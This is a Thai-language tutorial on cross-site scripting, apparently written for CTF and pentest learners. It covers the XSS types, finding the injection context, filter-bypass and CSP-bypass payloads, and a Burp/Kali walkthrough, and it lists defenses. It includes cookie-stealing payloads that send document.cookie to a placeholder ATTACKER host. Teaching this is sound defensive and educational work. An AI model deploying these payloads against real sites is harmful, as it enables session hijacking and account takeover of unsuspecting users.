คลัง
web

Cross-Site Scripting (XSS)

XSS คือการแทรก JavaScript ที่เบราว์เซอร์ของเหยื่อประมวลผล เกิดเมื่อแอปสะท้อน/เก็บ input โดยไม่ encode มี 3 แบบหลัก: reflected, stored, DOM-based บทนี้ครอบคลุมการตรวจจับ, context ของ payload, และการ bypass filter/CSP

BeginnerIntermediateAdvanced#xss#reflected#stored#dom#csp#injection#web#ctf

1. หลักการและประเภท

XSS เกิดเมื่อ input ผู้ใช้ถูกใส่กลับเข้าหน้าเว็บโดยไม่ถูก encode ทำให้เบราว์เซอร์ตีความเป็นโค้ดแทนข้อความ ผลคือรันสคริปต์ในบริบทของเหยื่อ — ขโมย cookie/session, ทำ action แทนเหยื่อ, keylog

ประเภทลักษณะ
Reflectedpayload อยู่ใน request (เช่น query) สะท้อนกลับมาในหน้าทันที — ต้องหลอกเหยื่อเปิดลิงก์
Storedpayload ถูกบันทึกที่เซิร์ฟเวอร์ (คอมเมนต์, โปรไฟล์) เด้งกับทุกคนที่เปิดหน้า — อันตรายสุด
DOM-basedJS ฝั่ง client เอา input (location.hash ฯลฯ) ไปเขียน DOM โดยไม่ปลอดภัย — เซิร์ฟเวอร์ไม่เกี่ยว
Stored XSS — payload เด้งกับทุกผู้เข้าชม
attacker โพสต์ เซิร์ฟเวอร์ (เก็บ) DB เหยื่อเปิดหน้า → payload รันในเบราว์เซอร์เหยื่อ

2. ตรวจจับและ context

ใส่ marker ที่ไม่ซ้ำ (เช่น xss1234) แล้วดูว่ามันสะท้อนกลับมาตรงไหนใน HTML — context สำคัญกว่า payload เพราะ payload ต้อง 'หนี' ออกจาก context ปัจจุบันให้ได้ก่อน

context ที่สะท้อนต้องหนีด้วย
ระหว่าง tag (
HERE
)
<script> หรือ tag ที่มี event
ใน attribute (value="HERE")ปิด quote ก่อน: "><svg onload=...>
ใน JS string (var x='HERE')ปิด string/script: ';alert(1)//
ใน URL (href=HERE)javascript:alert(1)

3. Payload

พื้นฐานและเลี่ยงกรณี script ถูกบล็อก
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
"><svg onload=alert(1)>           <!-- หนีออกจาก attribute -->
javascript:alert(1)               <!-- ใน href -->
<iframe src="javascript:alert(1)">
ขโมย cookie / exfil (lab/CTF)
<script>new Image().src='http://ATTACKER/?c='+document.cookie</script>
<script>fetch('http://ATTACKER/?c='+encodeURIComponent(document.cookie))</script>
ใช้ทดสอบบน lab/CTF ที่ได้รับอนุญาตเท่านั้น; cookie ที่ตั้ง HttpOnly จะอ่านด้วย JS ไม่ได้
Filter bypass
<ScRiPt>alert(1)</ScRiPt>        <!-- สลับ case -->
<svg/onload=alert(1)>             <!-- ไม่มี space -->
<img src=x onerror=alert`1`>       <!-- backtick แทนวงเล็บ -->
<a href="java&#115;cript:alert(1)">  <!-- HTML entity -->

4. CSP — และทางเลี่ยงที่พบ

Content Security Policy จำกัดว่าสคริปต์โหลดจากไหนได้ ทำให้ XSS ยากขึ้น แต่ CSP ที่ตั้งหลวมยังเลี่ยงได้: ดู unsafe-inline, โดเมนที่ whitelist แล้วมี JSONP/แฟ้ม upload, หรือ nonce ที่คาดเดาได้ ตรวจ CSP ด้วย header Content-Security-Policy แล้วหา gadget

5. Quick Reference

  • 3 แบบ: reflected (ในลิงก์), stored (บันทึก), DOM (JS ฝั่ง client)
  • หา context ก่อน → เลือก payload ที่หนี context นั้น
  • พื้นฐาน: ,
  • หนี attribute: ">
  • bypass: สลับ case, ไม่มี space, backtick, HTML entity
  • CSP หลวม (unsafe-inline / whitelist มี gadget) ยังเลี่ยงได้
  • ป้องกัน: output encode ตาม context + CSP เข้ม + HttpOnly cookie

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งเจอฟอร์มหรือพารามิเตอร์ที่สงสัยว่า inject ได้ แต่มีแค่ Kali เปล่าๆ ไม่มีเครื่องมือพิเศษติดตั้งไว้ล่วงหน้า ทำตามนี้ทีละขั้นได้เลย

  1. 1เปิด Burp Suite (Proxy tab) → ตั้ง Firefox ให้ใช้ proxy 127.0.0.1:8080 (หรือใช้ FoxyProxy) → เข้าเว็บเป้าหมายผ่าน Burp เพื่อจับทุก request
  2. 2หาช่อง input ที่สงสัย (search, comment, ชื่อโปรไฟล์, พารามิเตอร์ใน URL) พิมพ์ marker ที่ไม่ซ้ำ เช่น zzXSSzz123 แล้วกด submit
  3. 3กด Ctrl+U (view-source) แล้ว Ctrl+F หา zzXSSzz123 — ดูว่ามันโผล่ตรงไหนของ HTML และอยู่ context ไหน
  4. 4เลือก payload ตาม context: ระหว่าง tag ใช้ , ใน attribute ใช้ ">
  5. 5ยิง payload ผ่านช่องเดิม (หรือแก้ตรงๆ ใน Burp Repeater) แล้วเปิดหน้าดูว่ามี popup alert เด้งไหม
  6. 6เปิด DevTools (F12) แท็บ Console ดู error สีแดง — ถ้าเห็น 'Refused to execute inline script' แปลว่ามี CSP บล็อกอยู่
  7. 7เช็ค CSP จริงด้วย curl -sI https://target/path | grep -i content-security-policy
  8. 8ถ้าโดน filter บล็อก ลองสลับ case (